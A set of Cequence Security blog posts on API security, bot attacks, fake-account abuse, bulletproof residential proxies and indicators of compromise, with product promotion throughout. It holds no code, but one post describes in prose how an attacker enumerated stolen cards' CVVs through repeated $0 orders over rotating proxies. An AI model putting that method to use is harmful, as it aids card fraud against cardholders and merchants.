¹ Gartner Webinar – API Security: Protect your APIs from Attacks and Data Breaches
² Marsh McLennan Cyber Risk Analytics Center
³ World Economic Forum (WEF)

My Father’s Day plans involved sitting in my hammock, listening to the birds and enjoying the fruits of my labors. Then I heard a curious bird call and decided to see what species it was.

The Merlin App is one of my favorite apps for bird identification, it can take a picture of a bird and identify it. Similarly, it can use your microphone to perform audio analysis and recognition of bird calls which it then displays back to you. The odd sound I heard was identified as a Summer Tanager.

The Merlin app told me this is a rare bird, and I was excited to have a bird that I had never observed in my back yard. Beaming, I looked at the other birds in the analysis. I have a nice little flock of song sparrows and love to hear them, the mourning doves are always around, the Robins rid my yard of the earthworm menace and pick all the fruit before I can. Using my binoculars, I spotted the resident Mockingbird in his favorite tree.

While watching him sing, the Merlin app was recording the Mockingbird and the app identified a song that I had not heard before. The Merlin analysis told me it was a Belted Kingfisher, which is odd because I don’t have their usual habitat. The app then told me I had a Yellow-Breasted Chat, a very rare bird for my area. My excitement was squashed when I realized I had been victimized by the ultimate imposter. The Northern Mockingbird was mimicking each of these bird calls perfectly. The only way I was able to determine the bird species that I was hearing was to see it. Or not.

Separating Legitimate and Malicious Signals

One of the key things we do here at Cequence Security is to sit in-line and analyze inbound web and API traffic. Much like the Merlin app, our goal is to identify what the traffic is. Comparing this type of Mockingbird based attack to an automated attack on an API endpoint isn’t that hard to do.

Here we have this data coming to us. In standard analysis, we can see that this attacker is exhibiting 28 different user behaviors. Even a seasoned analyst might believe the data analysis and think they have a group of rare and unusual users. But as the saying goes, “whom you going to believe, the data or your own lying eyes”? I was watching the Mockingbird as it made the Belted Kingfisher’s sound. The data in front of me from 28 different users but it was coming from a single IP address – meaning it’s likely to be malicious.

Contrary to this behavior is the behavior of a recent attack at one of our customers. The attacker had obtained thousands of names and credit card numbers with Expiry, but the data set did not include the CVVs leaving them with 2 choices. Find the CVV and profit from the use of the cards to purchase items or, find the CVV and resell the list for more as this is now a vetted list of names, cards and CVVs.

To find the CVV, the attacker can create an account on a retail platform and buy something. Entering a random CVV will tell them if they guessed correctly. It’s a tad noisy though as most retail systems have follow-on systems to track orders that get abandoned or cancelled. Another technique is to place multiple $0 orders and enumerate the CVV until the correct one popped out. The attack would make too much noise and the $0 value technically wouldn’t generate any red flags or pop up on anyone’s screen. So, our first mock is for the $0 order. And to maintain anonymity the attacker mocks the IP address. Like the Yellow-Breasted Chat call I thought I heard, these transactions all appear to be legitimate traffic until more in-depth analysis is performed.

The first giveaway that this is Mockingbird traffic is the use of proxy infrastructure. Blocking policies for the $0 transactions are put in place, resulting in the blocking of unrelated attacks from the cheap proxy infrastructure. Like a Mockingbird that changes its tune as needed, our bad actor pivots to purchasing $0 gift cards and goes on to figure out if certain countries are blocked. The auditory cat and mouse game goes on and on, almost as annoying as the Mockingbird perched high in a Pine tree.

This attacker is utilizing operational timeframes that don’t fit the norm, finding times the solution is online or ready for an order. In each one of these cases, through all the changes in infrastructure, behavior, tools, and credentials, we knew it was that little Mockingbird all along.

The increasing use of APIs by developers has been one of the defining software trends of the past few years. Seeking efficient, standardized and effective ways to build out fully-featured apps, developers are turning to APIs as the backbone of software releases.

It’s likely your organization uses numerous API-based applications for fundamental business functions. Assuming your organization has a good handle on how many APIs you have, the next critical issue becomes validating core API development functions including authentication best practices and protecting sensitive data as it moves through API-based applications.

Attackers have seized upon the prominence of APIs, deploying a wide variety of both new and old techniques specifically targeting an organization’s APIs. The variety of threats in existence today, including novel zero-day attacks meant to dodge standard defenses, calls for an advanced approach to API threat detection.

By taking these threat seriously, finding the right technology and following industry best practices, your IT security team can build a strong advanced threat detection posture, ensuring your organization can keep reaping the benefits of API use without creating a major unguarded attack surface for a threat actor to exploit.

The importance of API threat detection

Why should IT security teams focus on API threat detection in particular? In short, information security personnel need to focus on APIs because they are attackers #1 target. The precipitous rise in using APIs as an application development tool has demonstrated to hackers that if they can exploit API code, they’ll gain a way to exfiltrate sensitive data of all kinds — payment information, Social Security and personal identification numbers, login credentials and more.

Just how much have hackers committed to breaking API security? Cequence research revealed that in the second half of 2021, 80% of blocked traffic to companies’ systems was API-based. Attackers are opportunistic, and with organizations’ most sensitive applications now built on APIs, some that may have weak authentication, that’s where they’ve shifted their focus.

In that same period, account takeover attacks targeting APIs rose by 62%. Using stolen credentials from unguarded APIs has become a way for hackers to then move on to larger targets. Organizations that don’t have API protection capabilities in place may be leaving a door ajar for attacks ranging from corporate espionage to ransomware and beyond.

API threat detection is a pivotal part of such an information security plan. Furthermore, detection efforts must do more than watch for a standardized list of known threats. The constant process of new security threat development means organizations could fall prey to attacks and business logic abuse that have never been observed before. Monitoring API traffic for signs of risk is a must for any business today.

Top threats facing APIs today

Reviewing the sheer variety of advanced threats facing API deployments, as well as the potential damage these attack types could inflict, is a good reminder of just how important API threat detection has become.

Resources such as the Open Web Application Security Project (OWASP) API Security Top 10 name many of the most pressing concerns for IT security teams and developers working with APIs, updated to reflect trends in both apps and attacks. Current top dangers include:

• Broken authorization and access control: Ranked as the top two threats on the OWASP API Security Top 10, marking it as a major danger to companies’ sensitive data. When authentication and access control functionality has flaws, attackers can make API requests that should be prevented, potentially seriously compromising an API-based application and the information within.
• Excessive data exposure: The third entry on the OWASP list, excessive data exposure is a common error made in the API development phase where sensitive data handling best practices of limiting its use, masking or encrypting the data are not followed. These types of errors can lead to possible data loss, governance and compliance violations.
• API business logic abuse through mass assignment: APIs are designed for machine-to-machine communications and as such, include commands, data and payload necessary to complete the transaction. When improperly documents attackers can use the information within the API as an attack vector. Security and development teams should work collaboratively to adopt and support API framework tools to drive coding consistency, quality and security.

The sheer variety of factors that can give attackers access to a company’s sensitive data can give IT security teams pause. A misconfiguration issue could provide the necessary backdoor, as could a missed patch or the unknown presence of a deprecated or shadow API.

One of the most concerning aspects of security flaws is that attackers have the tools to detect and exploit them. By crawling organizations’ APIs, hackers can determine opportunities to fulfill their objectives, whether that means exfiltrating sensitive data, breaking deeper into systems, injecting advanced malware or any other goal.

The recent ESG ebook, Trends in Modern Application Protection found that organization are acknowledging that the fast development of new threat vectors is a major problem. In fact, 46% of respondents have trouble keeping up with ever-mounting advanced threats, making it the No. 1 cited issue with web application security.

Other problems with app protection include a lack of clear ownership around security (42%), weak security tools (36%) and proliferation of too many different security solutions (32%). With the costs of a data breach or exposure representing devastating losses for companies, it’s clear that departments must take every opportunity to strengthen their API security posture.

Best practices of real-time API threat detection

An ideal API threat detection methodology needs to meet a few objectives. It should run in real-time and cover every API, including shadow APIs, third-party APIs and outdated or deprecated technology. It should also guard against all kinds of suspicious activity, rather than limiting its scope to known threats.

The following are a few of the traits IT security teams should look for when seeking out real-time systems that can defend their API deployments against exploitation of all kinds.

Rules that target relevant threats

Since APIs can power so many types of software and cloud services, no two organizations will use APIs the same way. This means detecting malicious traffic and potential threats should be customizable, allowing users to set rules and policies, security personnel can teach the system what types of data are likely to be targeted, and then watch out for any potential threat that puts information at risk.

Defenses against a wide range of threats

While customization is an important part of the threat detection package, solutions must also be able to recognize a vast range of known attack types and potentially malicious behaviors. Staying one step ahead of hackers means being on guard for every type of security threat that has been seen in the past, alongside the latest versions.

Connection with useful remediation features

Detecting advanced threats is just one facet of overall API protection. Once a system detects malicious traffic, it’s important to have a viable response to the attack. The source could be blocked or rate-limited, including through geofencing to prevent access by region. Advanced solutions also allow deception, which means fooling the hacking software into believing the attack is succeeding while actually cutting it off.

The current generation of API threat detection technology can provide this level of functionality while also delivering another useful feature: ease of integration and use. When software is simple to deploy and work with, and provides fast functionality out of the box, there’s nothing stopping companies from building their API protection profiles and defending their cloud resources.

Advanced threat detection efforts should be built to meet these high standards due to attackers’ own ongoing development efforts. Since the threat landscape never slows down, companies need cloud security tools that can keep up.

Threat detection’s role in Unified API Protection

True Unified API Protection has three pillars. This is important to note often, because many products billed as providing API security only perform one of these functions. Effective threat detection fits neatly into the middle of this model, which consists of:

• Discover: Organizations need a comprehensive overview of their API usage, detecting their potential API attack surface both from the inside out and the outside in.
• Detect: As noted, businesses must protect themselves in real time against a wide variety of potential threat types, encompassing both known and emerging threats.
• Defend: Immediately following the detection of malicious activity, automated features must take effect to stop that traffic from causing damage.

Considering the large and expanding role of APIs in mobile and web app development, API security is becoming synonymous with cybersecurity as a whole. Consequently, your organization must make API protection a priority.

Don’t forget to check out the other blogs in our API Threat Prevention series: Part 1: API Discovery, and Part 3: API Threat Protection.

Request a free API security assessment from Cequence Security today to determine your next steps.

Fake accounts have been around for years. They are commonly used to anonymously request info, avoid spam from an online merchant or participate anonymously in a conversation. Initially, fake accounts were easy to create manually, but over time the process became automated. More recently, fake accounts (aka bot or spam accounts) used to deliver a message or publish information automatically have become a sticking point in the $44 billion acquisition of Twitter by Elon Musk.

How Common are Fake Accounts?

Most of our digital interactions require an account – whether it is a one-time purchase from a retailer, your favorite social media platform, or access to technical product information – they all require an account to access the respective content or capability. Today, with so much of our lives managed behind rich, account-based application platforms, fake account abuse is commonplace. For example, to establish a valid Gmail account, Google has implemented a series of requirements, many of which can be bypassed through known Gmail farming techniques. Every social media and dating platform have a fake account challenge. Between October and December 2022, Facebook blocked 1.3 billion accounts and the company believes that the number of fake profiles has dropped by 23% year over year. At the same time, estimates show that roughly 5% of Facebook profiles are fake, a whopping 142 million users.

Fake accounts are so commonly used, there are software tools that automate the creation to “mask your identity or generate status”. In a real-life use case, a 19-year-old college student used software to fabricate fake accounts as a means of generating 7.7 million [fake] comments on net neutrality. A web search quickly uncovered several offerings, both of which give the visitor a fake identity which can then be used to create fake accounts.

One of the most significant challenges with separating real from fake accounts is the fact that establishing a new account appears to be a legitimate transaction and is the lifeblood of account-based application platforms where the users (you and I) are the product. For social media companies like Facebook and Twitter, their valuation is tied to the number of users they have, making the battle against fake accounts one that has a direct impact on their financial results.

The Global Impact of Fake Accounts

Whether the $44 billion price tag Elon Musk has placed on fake accounts is real or not remains to be seen, but the fact of the matter is fake accounts have wide ranging impacts on our day-to-day lives.

• Fraudulent Covid Relief: The US Secret Service announced the return of roughly $2 billion in fraudulent Covid relief funds, generated using fake accounts.
• Disinformation: It’s documented that Facebook has been used to influence political outcomes and they are continually removing fake accounts to stem the flow of fake news.
• Fake Reviews: Studies show that as many as 89% of us trust online reviews as much as personal recommendations, which in turn, can result in a significant increase (or decrease) in revenue for the vendor. Using fake accounts to enhance product reputation on Amazon or Yelp is a practice that has become so commonplace, it has become its own economy with merchants who will create reviews for you, and organizations who will analyze the reviews for you. Unfortunately, fake reviews for mediocre products are so commonplace that the World Economic Forum estimates that they drove roughly $152 billion in global spending on lackluster products and services in 2020.
• Financial Fraud: In the financial services market, fake account creation, also referred to as synthetic identities average between $81-$97,000 in financial losses per incident when successful.

The Impact on Enterprise Business

In a 2021 Forrester report on the business impact of bots, 26% of the 425 respondents indicated that they had lost as much as 10% of their revenue due to account abuse, which includes fake account creation and account takeover. A key takeaway from the report is that bots are not a security or ecommerce only problem – they are a business problem, impacting a number of different groups within the organization.

• Infrastructure: Each user account consumes infrastructure costs and when fake accounts are used in large scale shopping bot attacks, infrastructure costs can skyrocket. Worse yet, the web site and mobile app can become non-responsive, resulting in (real) user dissatisfaction.
• Security and Fraud: Security is impacted by efforts to slow or stop the use of fake accounts, often struggling to separate real from fake. Fraud teams are often engaged directly, investigating individual accounts, issuing account reset or delete recommendations. All of which consumes time that could (and should) be spent on broader team goals.
• Marketing and Sales: On platforms where the users are the product, a large population of fake accounts may generate inflated marketing statistics which in turn can lead to poor or misleading sales and program decisions.
• Customer Satisfaction: Losing out on a purchase of a high demand item as a result of a fake account driven bot can lead to a frustrating user experience, leading some buyers to shop elsewhere. From the Forrester report, every 1-point improvement in a retailers’ CX (customer experience) score, they can anticipate a $523 million increase in incremental revenue.
• PR and Brand: whether it’s Twitter, Facebook, your favorite shopping site or your financial management app, inaction by platforms to address the fake account problem can impact a company’s brand in negative ways. According to Accenture, 57% of consumers spend more on brands to which they are loyal, which can generate a 12%-18% incremental revenue growth per year than non-members. Research also shows that acquiring a new customer can cost 5 times more than the cost of retaining an existing one.

What Can Be Done to Stop Fake Accounts? Try Cequence

Taking action against fake account creation is a challenging game of cat and mouse between the application owner and the bad actor. Attackers target the account registration API directly, using automated CAPTCHA solvers and bypassing traditional defense mechanisms by continuously evolving, using human farms, adjusting in language, frequency of posting, and location to continue their fraudulent efforts.

The Unified API Protection (UAP) platform protects your applications and APIs from attackers, eliminating unknown and unmitigated API security risks that lead to data loss, fraud, and business disruption. A patented machine learning analytics engine works behind the scenes, built upon the largest database of API threat behaviors in the world, separating legitimate transactions from malicious, creating a fingerprint of known-good (accounts) that can then be used for policy-based mitigation. Learn more about our unique approach to fake account prevention with a personalized demo.

APIs are everywhere. Companies have increasingly turned to API development to quickly and efficiently create consistent, feature-rich applications. APIs have become the connective tissue of data exchange, but this raises important security questions.

One of the most significant of these questions is: What is the extent of my organization’s API usage? This isn’t as straightforward a query as it may first seem. Businesses are using hundreds and thousands of APIs — new APIs built to meet standards frameworks, third-party APIs, shadow APIs without adequate visibility and documentation, older deprecated APIs and more.

Businesses can’t effectively protect what they don’t know they have. Therefore, API discovery has an essential role to play in keeping sensitive data safe.

The state and importance of API discovery

Unfortunately from a security perspective, it’s all too normal for organizations to not have visibility into their overall API usage. In fact, 37% of respondents to a Cequence Security and ESG survey confirm that keeping an accurate inventory of API usage is an issue affecting their use of API-based development.

Unknown and shadow APIs have become so prevalent that within minutes of using Cequence’s API discovery tools, customers performing API inventories often find 100 times more shadow APIs than they knew existed within their networks.

That same research found that 41% of security teams are worried about an evolving threat landscape. The attack types seen on the OWASP API Security Top 10 are being joined by issues such as content scraping, or attackers taking advantage of configuration errors to gain illicit access.

The combination of factors facing businesses today — widespread API use, low visibility, and a complex threat landscape — has led to a new era of data protection needs. Seizing the development advantages that have made API usage so popular depends on also getting the security question right.

While API discovery is absolutely essential from an overall security perspective, companies are hindered by taking a limited approach to discovering their APIs. There are two perspectives when it comes to API discovery: Inside-out and outside-in.

Inside-out means continually identifying and tracking the API inventory from within, assessing their risks and basing protection on these findings. Outside-in involves analyzing your public domain to determine a company’s API attack surface — effectively showing them what an attacker would see. These methodologies each have their limitations when companies exclusively use one or the other. This is why it’s best to combine them and get a truly comprehensive look at how data is moving through APIs.

Taking a modern API discovery approach

What does it look like when an organization gets serious about both inside-out and outside-in API discovery? The process can involve two separate tools, each responsible for a distinct part of detecting and defending an organization’s complete API footprint.

In practice, the roles of these two types of systems break down along these lines:

API discovery from the outside in

When it comes to API use, a company’s security team can’t learn everything from an internal view. This is where a tool like Cequence API Spyder provides an essential outside-in view of a business’s potential attack surface. Taking an exterior view of public facing APIs allows security personnel to detect issues that may otherwise go unnoticed, such as internal APIs inadvertently becoming public or issues with deprecated APIs.

An outside-in view provides a valuable perspective, revealing security and compliance issues that even standard vulnerability and penetration testing may miss. By finding every publicly visible endpoint, such a solution gives IT security teams the same view that a potential attacker would have, revealing the company’s true external attack surface.

The next step after finding a potential issue is to alert personnel so they can take action. By studying a ranked dashboard of threats, team members can prioritize the most pressing vulnerabilities facing the team.

API discovery from the inside out

Completing the story of a company’s API use requires an internal as well as external view. Using a solution such as Cequence API Sentinel allows businesses to discover, catalog and track all their APIs, whatever their origin. The software integrates with other technology tools — from API gateways to load balancers, ingress controllers and content delivery networks — to give IT security teams a more comprehensive picture of API use than they would otherwise possess.

By looking at an easy-to-read dashboard, team members can see both internal and public API usage. This includes managed APIs, unmanaged APIs and any third-party APIs in use. Metrics displayed on the dashboard include usage stats for the various APIs found, such as geographic traffic information.

It’s possible to sort the discovered APIs by risk profile, segueing smoothly from discovery into protection and risk remediation. Once security teams know the extent of their companies’ API profiles, they can get started protecting them more effectively.

API discovery’s role in Unified API Protection

Discovery is one of the essential aspects of a modern, comprehensive approach to API protection. Such a unified method is different from the common “API security” offerings that may help organizations detect some threats targeting their APIs but don’t equip them to guard against those attacks.

API discovery is step one in the Unified API Protection lifecycle. Advanced API discovery is at its best when combined with real-time detection of threats and real-time responses to the most pressing risk factors. Organizations that know the full extent of their attack surfaces, see all ongoing traffic and have defenses ready are ideally prepared to deal with today’s API-driven development environment.

Don’t forget to check out the other blogs in our API Threat Prevention series: Part 2: API Threat Detection, and Part 3: API Threat Protection.

To find out more about API detection, request a demo and a FREE API security assessment.

The recent takedown of the RSOCKS botnet by the DOJ represents a small, but significant step in reigning in the use of high quality residential proxies for malicious purposes. Commonly referred to as a Bulletproof Proxy, these commercially available services market their database of compromised devices to cybercriminals as a pre-built infrastructure to execute large-scale attacks while masking their identity and location. Attackers will subscribe to the Bulletproof Proxy service then route their traffic through the network of devices to mask identity and location. Oftentimes, the same pool of compromised residential IPs will be used across many proxy services, as the proxy operators compete to commandeer infrastructure from one another. These services are billed as being used for web testing and other legitimate purposes, but the bulk of the use is to mask the identity and location of those who want to commit malicious acts. In the case of RSOCKs, the proxies are IoT and Android devices, oftentimes belonging to residential ISPs. Residential proxies are considered the gold standard for attackers, as they make the attack appear to be from a legitimate user making it difficult for defenders to block the attack without fear of (legitimate) user backlash.

Bulletproof Proxies in Action

A real-world example is an attacker who wants to score the newest Nike shoe will use RSOCKS to execute a large-scale shopping bot that emanates from multiple locations through many of these devices. This makes the traffic appear as if it is coming from legitimate buyers. Configuration options allow the attacker to distribute the traffic across the world, or focus it on a particular region – all in an effort to hide in plain sight. The attacker has the advantage of scale and speed in their favor, which typically results in them making the sneaker buy, and then reselling it for a significant markup. The scale of these automated attacks has been shown to result in reduced revenue due to their wide ranging business impacts that include:

• IT Infrastructure: Excessive load on the retailer web infrastructure resulting in site crashes and increased costs.
• Brand: Frustrated buyers vent on social media, resulting in lower net promoter scores.
• Employee frustration: Increased workload for teams who are tasked with fighting bots, not performing their daily tasks.
• Sales and Marketing: Errant business planning and marketing decisions based on falsely inflated web activity reporting.

Proxy services are used for any type of attack where the attacker wants to mask location and identity. Beyond shopping bots, there are other malicious use cases that include credential stuffing, account takeover, scraping, enumeration attacks and denial of service (DDoS). These services cater extremely well to those using bots to carry out their attacks, as the bad guys are trying to blend in a large flood of traffic amongst a pool of humans, instead of just a single attacking request.

Does the RSOCKS Takedown Matter?

RSOCKS was first observed in our customer base in 2019, with a pool of less than 200,000 proxies but they grew rapidly to where they recently had an advertised pool of 8M+ IPs. The growth was likely generated by exploiting unpatched vulnerabilities in the millions of (IoT and Android) devices connected to the web. For comparison, the larger proxy providers like SmartProxy and BrightData (formerly known as Luminati) claim access to a 40M+ IP address pool. Shutting down RSocks is not an insignificant development, but the reality is that their services will quickly be replaced by other providers including InstantProxies, SOAX, NetNut, and dozens of others, all of whom are commercial suppliers of these types of services. To truly reduce the number of attacks from Bulletproof Proxies, the community must harden the security of IoT devices, and work with ISPs to identify and patch vulnerabilities quickly as they arise.

Steps Users Can Take

The best thing users can do is to ensure their devices are not using default security settings, especially the factory default passwords shipped with routers. On top of that, set strong passwords, use two-factor auth, enable auto-update and disable sharing where applicable, especially for frivolous smart devices that in reality do not need wide network access permissions. If users notice home IP address being flagged as suspicious by their favorite websites and access being denied, then they should double-check the settings mentioned above to ensure they are not part of a Bulletproof Proxy network.

Turning Bulletproof Proxy Popularity for Defense

The Cequence CQ Prime Threat Research Team continually tracks more than 100 million malicious IP addresses distributed across more than 2000 organizations worldwide. These known malicious IP addresses are part of the Cequence API threat database with hundreds of millions of records that track attacker behavior, tools and stolen credentials. The API threat data is translated into hundreds of default policies that deliver industry leading out-of-the-box efficacy rates.

To see how Cequence API Spartan can use Bulletproof Proxies as defense tactic, sign up for a personalized demo today.

When our customers engage the CQ Prime Threat Research Team for help, it is typically driven by some sort of compelling event. It may have been a potential compliance issue from an exposed API, an aggressive Account Take Over or Shopping Bot attack.

In all of these cases our process is the same. We get integrated into the application infrastructure and begin the work of finding Indicators of Compromise (IoCs). This involves looking at obvious endpoints like /api/v1/login for interesting activity. Another obvious target would be /api/v1/order where we find interaction between users, IP addresses and order numbers. But how do we know what to look for and is what should you are looking for the same for APIs and web apps?

Low Hanging Fruit

Some things line up nicely in order for one to figure out where to look and what to look for. In Account Take Over, for instance, we are primarily looking at the login application flow with a singular focus on Usernames, Passwords, IP addresses and User Agents along with how the attack might be performed. These data points line up nicely with our four pillars of detection – Credentials, Tools, Infrastructure and Behavior- and can help you identify where the attack may be taking place and what to look for.

• Credentials can be one of the many credential dumps from past data breaches or it can be that a valid credential set is being misused and appearing from multiple IPs and or appearing with and without valid sessions.
• Tools are often services that hide the nature of the attack. Commercialized examples include Bots-as-a-Service, All In One (AIO) bots, and OpenBullet but can be as simple as a few python scripts that use libraries mimicking regular user behavior. These tools are often easily detected and can be identified by unique parameters within the tool.
• Infrastructure detection used to just simply be IP addresses and lists of which ones were bad. Attackers began rotating through IP addresses and moving to commercialized proxy services. These services are competing with one another and are getting better and better infrastructure for which attackers are willing to pay more for.
• Behavior can come down to the logic of the application or endpoint and how it might be used or misused. Behavior is also what happens when things change, if IPs get blocked how fast does the attacker take to react to that? What user-agents are being used? Are they changing? Noting the attacker behavior can show what is and isn’t working to mitigate the attack. So how do we approach a specific problem and what IOCs are we looking for, given the context of the four pillars?

Let’s take Account Take Over as an example. Step one is to fully understand how the login flow works and what success and failure looks like. The next step is to baseline what a good day of standard behavior is and then begin analyzing login failure metrics. An additional metric to track is how your login success and failure rates compare to others in your industry. Once normal patterns are known, you can easily see that huge numbers of login failures can be an IOC of ATO. Similarly, paired with failures, a single username coming from multiple IPs may be abnormal.

If content scraping is a worry then looking at single IPs that are using GET method but don’t seem to be doing anything else is a great place to start. The behavioral aspect of most traffic is going to be important as well as the infrastructure, credentials, and tools.

IP addresses, Usernames and data points like login successes vs login failures certainly are low hanging IOCs. Another great place to look is User Agents or “browsers”. Most APIs are attached to mobile applications or 3rd party systems and use a developer-defined User Agent Like Android_V3 or something similar. If your APIs aren’t typically used by web users, then a Chrome 99 User Agent is an IoC that someone is attempting access. If your API is often used by standard user agents, look for the patterns. Often a group of UAs that are associated with Usernames under attack can lead to further understanding of what the attacker is doing. Continually analyze User Agents seen in both good traffic and bot attacks to find and leverage discernible patterns.

Bots cannot function without an infrastructure to run on so knowing as much about where and how traffic is hitting your API is another source of IOCs. The first step here is to compare organization source for good traffic and bot traffic. It’s highly likely that the list of providers will be quite different, with known residential proxy providers generating a higher volume of (bot) traffic, as shown in the image below.

It is difficult to say exactly what the thing or things to look for would be in any given application but, looking for indicators within each of the four pillars will help you understand if you are under attack or have been under attack and what each attack scenario might be.

If you’re going to RSA, please join my IOCs in your APIs Birds of a Feather session on Thursday, June 9th, 2-3pm.

Today, we are proud to announce the availability of API Spyder, the newest addition to the Cequence Unified API Protection (UAP) solution. The Cequence UAP is the only offering on the market today that protects your APIs from attackers and eliminates unknown and unmitigated API security risks that can lead to data loss, fraud, and business disruption.

Agentless API Attack Surface Discovery

Most organizations lack visibility into their public-facing API attack surface. Attack surface management products discover public-facing assets like exposed ElasticSearch servers, S3 buckets and IP address ranges. However, they do not discover API servers or endpoints hosted on them, like login and authentication endpoints or health monitoring endpoints . Runtime API security products like Cequence API Sentinel discover and catalog the runtime API inventory once applications have been onboarded. leveraging traffic data from those applications.

API Spyder complements the runtime discovery of API Sentinel by discovering public-facing API servers without requiring any changes or deployments in the organization. It is a multi-tenant SaaS service that only requires the user to enter a top-level domain name (TLD) and then crawls that domain to find API assets that are visible under that TLD. This may include GraphQL servers, REST servers, assets hosted on various IaaS/cloud providers and those behind a content delivery network (CDN) or a web application firewall (WAF). All at the user’s fingertips, in minutes.

Predictive Crawling to Uncover Public API Assets

API Spyder uses the TLD provided by the user to discover API servers publicly exposed under that domain. It crawls each such server with an intelligent crawling technology that can uncover common API paths exposed, including login/auth endpoints, health metrics, exposed files, and other common implementations of API servers. Regular web crawling, like what bots like Google Bot do, does not uncover API servers or endpoints. It is incredibly hard to find the API endpoints using merely a server name without knowing the API specification (as defined by OpenAPI/Swagger). API Spyder overcomes this hurdle with an intelligent crawling technology called Predictive Crawling that uncovers API endpoints under each server, with zero-knowledge about that API server.

API Spyder uncovers the following information about an organization’s API attack surface:

• API Hosting Providers – providing data on CDNs, infrastructure as a service (IaaS) providers, and software as a service (SaaS) solutions, where APIs are found to be hosted.
• API Servers – providing the names of servers that are found to host APIs along with the API endpoints that they’re found to be hosting.
• Security Issues – including vulnerabilities such as Log4j, LoNg4j, and exposed non-production APIs that are then classified as High, Medium, and Low severity issues.

Automated Crawls and Notifications

One certain thing about attack surfaces is that they are never constant. Application teams are constantly onboarding new applications in different environments – on-premises or in the cloud. As a security leader, it is hard to keep track of these new applications that come up daily.

API Spyder alleviates this issue by automatically crawling the organization’s domains and determining if new API servers, hosting providers, or security issues like Log4j vulnerabilities are discovered. If found, notifications are sent to the admin users automatically to alert them of the new findings.

This proactively brings attack surface discovery changes to the user’s fingertips instead of having to search for changes manually.

Summarizing Findings in Reports

Findings can be summarized in an easy-to-generate exec summary report for senior security leaders to analyze where their API servers are hosted, and any immediate steps they need to take to remediate security issues. This helps enterprises prioritize the remediation of urgent security issues like Log4j vulnerabilities.

Getting Started

API Spyder is the newest offering in the Cequence Unified API Protection solution. The Cequence Unified API Protection solution is the only offering on the market today that protects your APIs from attackers and eliminates unknown and unmitigated API security risks that can lead to data loss, fraud, and business disruption.

Up until just a few years ago, web applications were the dominant platform for all things digital and APIs were tools used to address development corner cases. Driven by mobile device ubiquity, the adoption of the cloud, and the move towards agile, more iterative microservices-based development methodologies, APIs are now the connective tissue for everything we do digitally. The apps we use on our devices for work and pleasure, our favorite shopping, money management, travel web site, and even the cars we drive all use APIs heavily.

Built for machine to machine communications and inclusive of the desired function and payload, developers have come to love APIs for their ability to connect application elements and cloud services together quickly to create engaging user experiences. Attackers, who are developers at heart, love them for the same reasons, but with malicious end goals in mind. To dig into the details behind the explosive use of APIs, the security challenges they represent and how best to address those challenges, Cequence Security recently teamed with ESG to conduct a survey of 366 IT and cybersecurity professionals.

Containers and Cloud Drive API Growth

The survey found that over the next two years, organizations using APIs solely for their web and app development will nearly triple and 41% will use APIs for most of their development, nearly double that of today. Factors driving API usage include the move towards iterative, modular application development methodologies where APIs connect different components to each other. As a proof point, 71% of respondents stated that in two years, at least half of their apps would be microservices based, growing significantly from the current 39%.

Validating the trend towards deploying the applications where it makes the most sense, cloud vs. datacenter vs. hybrid, 35% of organizations stated that 30% or more of their apps and websites were deployed in the cloud currently, growing to 67% of organizations in two years. In summary, the usage of cloud-native, microservices-based architectures will outpace the growth of cloud-resident applications, meaning many organizations will support hybrid application environments.

API Security Threats on the Rise

Highlighting the challenges that security teams face, the survey asked respondents to rank how frequently they saw thirteen different attack types in the last year and no single attack was seen more frequently than 34%. Each of the thirteen attack types can be executed against an API more easily than a web application, a fact that further solidifies the reasons why attackers love APIs. The attacks listed are often used collectively with one attack as a precursor to a second or third attack. As an example, an attack on misconfigured APIs (#7 on the list) may have been an exploit against misconfigured authentication or BOLA attack, ranked #1 on the OWASP API Security Top 10 list. The results of the BOLA attack could then be used in credential stuffing, account takeovers and fake account creation – all listed in the OWASP Automated Attack list.

The relatively tight grouping of the attacks found confirms the top API protection challenge organizations face: 41% of the respondents see keeping pace with the changing API threat landscape as their biggest challenge. Whereas the top challenge here is protection focused, the remaining challenges are more process focused and are indicative of how APIs have been developed and deployed. In the past, APIs were less widely used and developers had freer reign for where and when to deploy. In many cases, APIs were used internally, which meant less focus on security. Today, APIs are the heart of most organizations external facing digital footprint, but many of the past policies and procedures remain in place. This premise is supported by the need to apply more rigor to some of the other top challenges listed such as sensitive data handling (39%), keeping an accurate API inventory (37%) and the adoption of API specification frameworks (35%), which improves coding quality, consistency and security. Each of these challenges, if left unchecked, expose organizations to data loss, compliance violations and overall business disruption.

Gaps Remain Across the API Security Lifecycle

The current trajectory for API adoption and all that surrounds it is not that different than past technology adoptions, with some organizations much further along in the API lifecycle than others. Generally speaking, all organizations will begin their journey in one of the five phases shown below.

In some organizations, the journey begins in development as part of a DevOps effort, with an API testing tool. In other organizations it’s the security team who is tasked with responding to increased attacks on APIs. The varied starting points may help to shed light on the wide range of tools respondents were using to protect their APIs. The list included firewalls, WAFs, and IPSs as well as API security products. The range of tools highlights the nascent state of API security – with the survey confirming that no one offering provides effective coverage for the visibility, analysis, threat detection, mitigation and testing requirements that an ideal solution might deliver. Respondents indicated that their existing tools were woefully lacking in effectiveness, with less than 45% stating that their tools were completely effective – a failing grade in most anyone’s view. While the question was not specifically asked, one could argue that the wide range of tools, mostly all standalone and addressing only a piece of the puzzle may be one of the reasons for a lack of effectiveness.

An Opportunity for Consolidation

Organizations reported using a variety of tools to discover and secure their APIs highlighting that no one tool addresses all of the requirements, which may be the root cause of some of the challenges discussed previously. Further, for all the tools used for discovering and securing APIs, less than half of respondents rated them completely effective. The tools disparity introduces the opportunity for a unified or consolidated approach to API security. The survey points to a consolidated web and API (WAAP) framework as one approach but with an emphasis on API security. An alternative approach is to focus on the five phases of an API security lifecycle, and look for a unified solution to address the discovery, tracking, risk assessment, threat detection and prevention requirements.

Cequence Security is helping customers transform their API security with an extensible, end-to-end API protection solution that prevents API threats while tracking and analyzing known and unknown APIs to surface vulnerabilities that help developers eliminate coding errors. Learn how Cequence is different.

Source: ESG eBook, Trends in Modern Application Protection, May 2022.

Gartner Hype Cycle for Application Security: Recognition Confirms Cequence’s Leadership

Cequence is the only vendor to be recognized in both API Threat Protection and Bot Management segments, a recognition that we believe confirms our belief that a comprehensive API security platform MUST be able to detect API threats and natively mitigate them in real-time while also analyzing your APIs to help you find and remediate vulnerability exploits caused by coding errors.

While bot management products provide a level of protection for applications, most have no protection for APIs since they rely on JavaScript or mobile SDKs to be integrated into apps in order to detect bots. Attackers then bypass applications and attack the unprotected APIs directly, which is why it’s critical to have API threat protection in addition to bot management. API threat protection defends APIs from exploits, business logic abuse, and more.

